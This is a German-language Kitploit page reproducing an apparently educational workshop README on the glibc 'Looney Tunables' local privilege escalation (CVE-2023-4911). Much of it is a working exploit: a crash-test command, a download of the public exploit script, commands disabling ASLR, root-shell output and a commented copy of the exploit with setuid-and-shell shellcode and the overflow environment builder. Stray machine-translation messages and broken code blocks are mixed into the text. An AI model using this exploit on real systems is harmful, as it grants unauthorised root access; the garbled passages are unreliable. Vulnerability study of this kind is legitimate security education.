Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-4911 — Looney Tunables Lokale Rechteausweitung (CVE-2023-4911) Workshop | Kitploit
Tools/GitHubGitHub/kernelkrise/cve-2023-4911
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungBinary-ExploitationLabs & PraxisArchived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Looney Tunables Lokale Rechteausweitung (CVE-2023-4911) Workshop

Repository anzeigen
183vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-4911-Looney-Tunables

Looney Tunables – Workshop zur lokalen Privilegienerweiterung (CVE-2023-4911) (nur für Bildungszwecke)

Links:

  • IPPSEC-Video
  • Qualsys-Blogbeitrag
  • Qualsys-Technische Details
  • Exploit-POC-Python-Skript
  • GLIBC-Quellen
  • GLIBC-Tunables-Dokumentation

Beschreibung

Was ist ld.so?

In der Informatik ist ein dynamischer Linker der Teil eines Betriebssystems, der die von einem ausführbaren Programm benötigten gemeinsam genutzten Bibliotheken lädt und verknüpft, wenn es ausgeführt wird, indem er den Inhalt der Bibliotheken aus dem permanenten Speicher in den RAM kopiert, Sprungtabellen füllt und Zeiger verschiebt.

Zum Beispiel haben wir ein Programm, das die openssl-Bibliothek verwendet, um einen md5-Hash zu berechnen:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

root@kitploit:~
ld.so parst die Binärdatei und versucht, eine mit <openssl/md5.h> zusammenhängende Bibliothek zu finden.```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

Wie wir sehen können, findet sie die benötigte Krypto-Bibliothek unter /lib/x86_64-linux-gnu/libcrypto.so.3 Während des Programmstarts legt sie den Code dieser Bibliothek in den Prozess-RAM und verknüpft alle Referenzen auf diese Bibliothek.

Zusammenfassung

Wenn ein Programm gestartet wird, untersucht dieser Lader zunächst das Programm, um festzustellen, welche gemeinsamen Bibliotheken es benötigt. Anschließend sucht er nach diesen Bibliotheken, lädt sie in den Speicher und verknüpft sie zur Laufzeit mit der ausführbaren Datei. Dabei löst der dynamische Lader Symbolreferenzen auf, wie etwa Verweise auf Funktionen und Variablen, und stellt sicher, dass alles für die Ausführung des Programms bereit ist. Aufgrund seiner Rolle ist der dynamische Lader in hohem Maße sicherheitskritisch, da sein Code mit erhöhten Rechten läuft, wenn ein lokaler Benutzer ein Programm mit set-user-ID oder set-group-ID startet.

Was sind GLIBC-Tunables?

Tunables sind eine Funktion in der GNU-C-Bibliothek, die es Anwendungsautoren und Distributionsbetreuern ermöglicht, das Laufzeitverhalten der Bibliothek an ihre Arbeitslast anzupassen. Sie sind als eine Reihe von Schaltern implementiert, die auf verschiedene Weise geändert werden können. Die derzeitige Standardmethode hierfür ist die Verwendung der Umgebungsvariable GLIBC_TUNABLES, indem sie auf eine Zeichenfolge aus durch Doppelpunkte getrennten name=value-Paaren gesetzt wird. Das folgende Beispiel aktiviert beispielsweise die malloc-Überprüfung und setzt die malloc-Trim-Schwelle auf 128 Bytes:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

root@kitploit:~
Übergabe von `--list-tunables` an den dynamischen Loader, um alle Tunables mit Minimal- und Maximalwerten auszugeben:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

Schwachstellenbeschreibung

Ganz am Anfang seiner Ausführung ruft ld.so __tunables_init() auf, um die Umgebung zu durchlaufen (in Zeile 279), und sucht nach GLIBC_TUNABLES-Variablen (in Zeile 282); für jede GLIBC_TUNABLES, die es findet, erstellt es eine Kopie dieser Variablen (in Zeile 284), ruft parse_tunables() auf, um diese Kopie zu verarbeiten und zu bereinigen (in Zeile 286), und ersetzt schließlich die ursprüngliche GLIBC_TUNABLES durch diese bereinigte Kopie (in Zeile 288):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

root@kitploit:~
Das erste Argument von parse_tunables() (tunestr) zeigt auf die bald bereinigte Kopie von GLIBC_TUNABLES, während das zweite Argument (valstring) auf die ursprüngliche GLIBC_TUNABLES-Umgebungsvariable (im Stack) zeigt. Um die Kopie von GLIBC_TUNABLES zu bereinigen (die die Form "tunable1=`aaa:tunable2=bbb"` haben sollte), entfernt parse_tunables() alle gefährlichen Tunables (die SXID_ERASE-Tunables) aus tunestr, behält jedoch SXID_IGNORE- und NONE-Tunables bei (in Zeilen 221-235):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

Leider gilt: Wenn eine GLIBC_TUNABLES-Umgebungsvariable die Form "tunable1=tunable2=AAA" hat (wobei "tunable1" und "tunable2" SXID_IGNORE-Tunables sind, zum Beispiel "glibc.malloc.mxfast"), dann:

  • während der ersten Iteration der "while (true)" in parse_tunables(), wird die gesamte "tunable1=tunable2=AAA" direkt in tunestr kopiert (in Zeilen 221-235), wodurch tunestr vollständig gefüllt wird;

  • in den Zeilen 247-248 wird p nicht erhöht (p[len] ist '\0', weil kein ':' in den Zeilen 203-204 gefunden wurde), und daher zeigt p weiterhin auf den Wert von "tunable1", d.h. "tunable2=AAA";

  • während der zweiten Iteration der "while (true)" in parse_tunables(), wird "tunable2=AAA" (als wäre es ein zweites Tunable) an tunestr angehängt (das bereits voll ist), wodurch tunestr überläuft.

PoC

Befehl:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

root@kitploit:~
Es wurde kein Quelltext zum Übersetzen bereitgestellt. Bitte sende den Inhalt von Chunk 15 erneut.```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

Exploitation

Diese Schwachstelle ist ein einfacher Pufferüberlauf, aber was sollten wir überschreiben, um beliebige Codeausführung zu erreichen? Der Puffer, den wir überlaufen lassen, wird in Zeile 284 von tunables_strdup() allokiert, einer Neuimplementierung von strdup(), die die __minimal_malloc() von ld.so anstelle der malloc() von glibc verwendet (tatsächlich ist die malloc() von glibc noch nicht initialisiert). Diese __minimal_malloc()-Implementierung ruft einfach mmap() auf, um mehr Speicher vom Kernel zu erhalten.

Schauen wir uns diesen Code an:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */

root@kitploit:~
##### Überschreiben von Zeigern der gleich zugewiesenen link_map-Struktur
>ld.so weist den Speicher für diese link_map-Struktur mit calloc() zu und initialisiert daher verschiedene ihrer Member nicht explizit mit Null; dies ist eine sinnvolle Optimierung. Wie bereits erwähnt, handelt es sich bei calloc() hier nicht um das calloc() der glibc, sondern um ld.sos __minimal_calloc(), das __minimal_malloc() aufruft, *ohne* den zurückgegebenen Speicher explizit mit Null zu initialisieren; auch dies ist eine sinnvolle Optimierung, da __minimal_malloc() praktisch immer einen sauberen, per mmap() zugewiesenen Speicherblock zurückgibt, dessen Initialisierung auf Null vom Kernel garantiert wird.
>
> Leider erlaubt es uns der Pufferüberlauf in parse_tunables(), sauberen, per mmap() zugewiesenen Speicher mit Nicht-Null-Bytes zu überschreiben und dadurch Zeiger der gleich zugewiesenen link_map-Struktur mit Nicht-NULL-Werten zu überschreiben. Dadurch können wir die Logik von ld.so vollständig brechen, die annimmt, dass diese Zeiger NULL sind.

#### Idee des Überlaufs
> Wir stellten fest, dass viele weitere Zeiger in der link_map-Struktur nicht explizit auf NULL initialisiert sind; insbesondere die Zeiger auf Elf64_Dyn-Strukturen im l_info[]-Array von Zeigern. Unter diesen stach `l_info[DT_RPATH]`, der „Bibliothekssuchpfad“, sofort hervor: Wenn wir diesen Zeiger überschreiben und kontrollieren, wohin und worauf er zeigt, können wir ld.so zwingen, einem Verzeichnis zu vertrauen, das uns gehört, und dadurch unsere eigene libc.so.6- oder LD_PRELOAD-Bibliothek aus diesem Verzeichnis zu laden und beliebigen Code auszuführen (als root, wenn wir ld.so über ein SUID-root-Programm ausführen).

> Wohin sollte der überschriebene `l_info[DT_RPATH]` zeigen? Die einfache Antwort auf diese Frage lautet: auf den Stack; genauer gesagt auf unsere Umgebungszeichenketten im Stack. Unter Linux wird der Stack in einem 16-GB-Bereich randomisiert, und unsere Umgebungszeichenketten können bis zu 6 MB belegen (_STK_LIM / 4 * 3, in bprm_stack_limits() des Kernels): Nach 16 GB / 6 MB = 2730 Versuchen haben wir eine gute Chance, die Adresse unserer Umgebungszeichenketten zu erraten (in unserem Exploit überschreiben wir `l_info[DT_RPATH]` immer mit 0x7ffdfffff010, der Mitte des randomisierten Stack-Bereichs). In unseren Tests dauert dieser Brute-Force-Versuch auf Debian ~30 s und auf Ubuntu und Fedora ~5 min (wegen ihrer automatischen Crash-Handler, Apport und ABRT; wir haben nicht versucht, diese Verlangsamung zu umgehen).

> Worauf sollte der überschriebene l_info[DT_RPATH] zeigen? 
> In unserem Exploit füllen wir unsere 6 MB an Umgebungszeichenketten einfach mit 0xfffffffffffffff8 (-8), denn bei einem Offset von -8 B unterhalb der String-Tabelle der meisten SUID-root-Programme erscheint die Zeichenkette "\x08": Das zwingt ld.so, einem relativen Verzeichnis namens "\x08" (in unserem aktuellen Arbeitsverzeichnis) zu vertrauen, und erlaubt uns daher, unsere eigene libc.so.6- oder LD_PRELOAD-Bibliothek aus diesem Verzeichnis als root zu laden und auszuführen.

Schema:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### "\x08"-Byte bei Offset -8 in .DYNSTR:
!["\x08"-Byte in xxd](https://assets.kitploit.com/production/public/readmes/37285/f7e47c7603cfe523799c8ebc0bf1265caaeb0dcf3924bf92cea7f204127490bf.png)

## PoC LPE:
Ich verwende meinen alten Kali-Linux-Snapshot, um den PoC zu testen. Lass uns prüfen, ob er verwundbar ist:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1]    7995 segmentation fault  env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"  /usr/bin/s

Wir haben SIGSEGV erhalten, also ist unser System anfällig für diese CVE-LPE!

Lass uns das PoC-Skript herunterladen und testen:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py

[~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3

root@kitploit:~
Also, unsere Build-ID von ld.so ist nicht in der Liste der Ziele, beheben wir das!
ASLR deaktivieren:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

Überprüfen Sie erneut:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568

root@kitploit:~
Unser POC-Skript findet also einen nützlichen Offset. Fügen wir unsere ld.so-Build-ID und den Offset zum Skript hinzu:
![TARGETS set in code](https://assets.kitploit.com/production/public/readmes/37285/3a1ab26b738c731b061b05bd2515afa9cc41b4d23158f37daa27a05d8a86f4ad.png)
ASLR wiederherstellen:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"

Versuchen wir das PoC-Skript erneut:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

whoami root

id

uid=0(root)

root@kitploit:~
Es funktioniert!

Es funktioniert auch mit anderen SUID-Dateien:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>

I'm ready to translate the provided chunk, but no content was included in the input after "INPUT:". Please provide the chunk text you'd like translated, and I'll translate it from English to German following all the specified rules.``` [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/mount, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe10101009 ....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

id uid=0(root)

root@kitploit:~
### Schauen wir uns also das PoC-Skript an:
Am Anfang des PoC-Skripts haben wir das Wörterbuch ARCH mit einigen **Prozessorarchitekturen** (ich habe nur x86_64 belassen, da ich es verwende).
In diesem Wörterbuch haben wir 
* "shellcode": um ""/bin/sh" mit Root-Rechten zu starten
* "exitcode": es ist ebenfalls Shellcode, führt aber exit(0x66) aus
* "stack_top": es ist die maximal mögliche Adresse des Stacks auf x86_64
* "stack_aslr_bits": sind die Entropie-Bits auf x86_64 (Bits, die durch ASLR verändert werden)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py

import binascii
# <SNIP>
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),  # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
        "exitcode": unhex("6a665f6a3c580f05"),  # asm(shellcraft.exit(0x66)).hex()
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 30,  # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
    }
}

Shellcode-Disassemblierung```nasm 0: 31 ff xor edi, edi 2: 6a 69 push 0x69 4: 58 pop rax 5: 0f 05 syscall

7: 31 ff xor edi, edi 9: 6a 6a push 0x6a b: 58 pop rax c: 0f 05 syscall

e: 6a 68 push 0x68 10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f 1a: 50 push rax 1b: 48 89 e7 mov rdi, rsp 1e: 68 72 69 01 01 push 0x1016972 23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 2a: 31 f6 xor esi, esi 2c: 56 push rsi 2d: 6a 08 push 0x8 2f: 5e pop rsi 30: 48 01 e6 add rsi, rsp 33: 56 push rsi 34: 48 89 e6 mov rsi, rsp 37: 31 d2 xor edx, edx 39: 6a 3b push 0x3b 3b: 58 pop rax 3c: 0f 05 syscall

root@kitploit:~
Exitcode disassemble```nasm
   0:   6a 66                   push   0x66
   2:   5f                      pop    rdi
   3:   6a 3c                   push   0x3c
   5:   58                      pop    rax
   6:   0f 05                   syscall

Als Nächstes haben wir ein Dictionary mit Zielen (ld.so-Build-ID) und deren Buffer-Overflow-Offsets.```python TARGETS = { "e664396d7c25533074698a0695127259dbbf56f3": 568 }

root@kitploit:~
Dann gibt es viele Funktionen, die nach dem benannt sind, was sie tun, und größtenteils können sie durch Methoden aus der pwntools-Bibliothek ersetzt werden. Ich sehe also keinen Sinn darin, sie im Detail zu besprechen, außer einigen von ihnen.```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):  
    # heap meh shui
    if bits == 64:
        env = [  # Actual vulnerability exploit (buffer overflow)
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]

        pad = 172
        fill = 47
    else:
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
        ]

        pad = 87
        fill = 47 * 2

    for j in range(pad):  # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    if bits == 64:  # overwrite l_info[DT_RPATH] pointer with pointer to stack
        env.append(struct.pack("<Q", addr))
        env.append(b"")
    else:
        env.append(struct.pack("<L", addr))

    for i in range(384):   # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    for i in range(fill):  # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
        if bits == 64:
            env.append(
                struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
            )
        else:
            env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)

    env.append(None)
    return env


if __name__ == "__main__":
    banner()  # just print bunner

    machine = os.uname().machine  # uname of machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())  # print libc path

    if len(sys.argv) == 1:  # check if user pass SUID binary as args, if no use "su" binary
        suid_path = which("su")
        suid_args = ["--help"]
    else:
        suid_path = sys.argv[1]
        suid_args = sys.argv[2:]

    lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8  # Some value

    print(f"[DEBUG] -> LSB: {lsb}")

    print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args))  # print suid binary path with args

    suid_e = lazy_elf(suid_path)  # generate lazy_elf object with SUID binary

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()  # get ld_path from suid binary .interp section

    ld_e = lazy_elf(ld_path)   # generate lazy_elf object with ld.so binary

    print("[i] ld.so = %s" % ld_path)  # print ld.so path

    ld_build_id = binascii.hexlify(  # get ld.so build id from ".note.gnu.build-id" section
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)  # print ld.so build id

    libc_e = lazy_elf(lib_path("c"))    # generate lazy_elf object with libc.so.6 binary

    __libc_start_main = libc_e.symbol("__libc_start_main")  # find offset of __libc_start_main function in libc

    if __libc_start_main == None:  # if can't find __libc_start_main
        error("could not resolve __libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)  # print offset of __libc_start_main

    offset = suid_e.shdr_by_name(".dynstr")["offset"]  # Find offset of .dynstr section
    print(f"[DEBUG] -> .DYNSTR offset: {offset}")
    hax_path = find_hax_path(suid_e.d, offset)  # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
    if hax_path is None:  #  error if not find hax
        error("could not find hax path")

    print(  # print hax
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if not os.path.exists(hax_path["path"]):  # create folder ("\x08" to place libc there later)
        os.mkdir(hax_path["path"])

    argv = build_argv([suid_path] + suid_args)  # just get array of arguments ( ["su", "--help", None] )

    shellcode = (  # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
        ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
    )

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:  # open folder "\x08" and write patched (with shellcode) libc.so.6 there
        fh.write(libc_e.d[0:__libc_start_main])  # all before __libc_start_main
        fh.write(shellcode)  # shellcode
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])  # all after shellcode
    print("[i] wrote patched libc.so.6")

    if not is_aslr_enabled():  # if ASLR is not enabled
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        stack_addr = ARCH[machine]["stack_top"] - 0x1F00
        stack_addr += lsb

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
            r = spawn(suid_path.encode(), argv, env)
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        if ld_build_id not in TARGETS.keys():  # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
            error("no target info found for build id %s" % ld_build_id)

        stack_addr = ARCH[machine]["stack_top"] - (  # calculate minimum address of stack
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        # In [11]: hex(1 << 29)
        # Out[11]: '0x20000000'

        # In [12]: hex(0x800000000000 - 0x20000000)
        # Out[12]: '0x7fffe0000000'

        print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
        stack_addr += lsb
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6 if suid_e.bits == 64 else 4):  # some calculations to find usable offset in stack
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(  # create malicious environment variables (with overflow and stack overwrite)
            TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
        )

        # print(f"[DEBUG] -> ENV: {env}")

        cnt = 1
        while True:
            if cnt % 0x10 == 0:  # print "." every 10 executions
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(suid_path.encode(), argv, env) == 0x1337:  # spawn process of SUID with malicious environment variables
                print("goodbye. (took %d tries)" % cnt)
                exit(0)
            cnt += 1


Tabelle mit ASLR-Entropie auf verschiedenen Architekturen: Table with ASLR entropy bits

Tool herunterladen